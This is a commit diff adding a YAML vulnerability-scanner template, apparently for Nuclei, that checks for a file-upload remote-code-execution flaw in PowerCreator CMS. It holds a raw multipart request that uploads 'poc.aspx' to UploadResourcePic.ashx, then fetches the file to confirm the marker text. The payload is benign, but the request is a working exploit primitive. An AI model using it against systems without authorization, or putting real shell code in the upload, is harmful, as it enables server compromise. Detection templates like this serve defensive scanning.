Create powercreator-cms-rce.yaml

vulnerabilities/other/powercreator-cms-rce.yaml

@@ -0,0 +1,44 @@
+id: powercreator-cms-rce
+
+info:
+  name: PowerCreator CMS RCE
+  author: pikpikcu
+  severity: critical
+  reference: http://www.mstir.cn/index.php/2020/11/18/powercreatorcms-rce/
+
+requests:
+  - raw:
+      - |
+        POST /upload/UploadResourcePic.ashx?ResourceID=8382 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Content-Length: 225
+        Content-Disposition: form-data;name="file1";filename="poc.aspx";
+        Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136
+        Accept-Encoding: gzip
+
+        -----------------------------20873900192357278038549710136
+        Content-Disposition: form-data; name="file1"; filename="poc.aspx"
+        Content-Type: image/jpeg
+
+        Poc_Test
+        -----------------------------20873900192357278038549710136--
+      - |
+        GET /ResourcePic/{{endpoind}} HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Accept-Encoding: gzip
+
+    extractors:
+      - type: regex
+        name: endpoind
+        internal: true
+        part: body
+        regex:
+          - "(.*?.ASPX)"
+
+    matchers:
+      - type: word
+        words:
+          - "Poc_Test"
+        part: body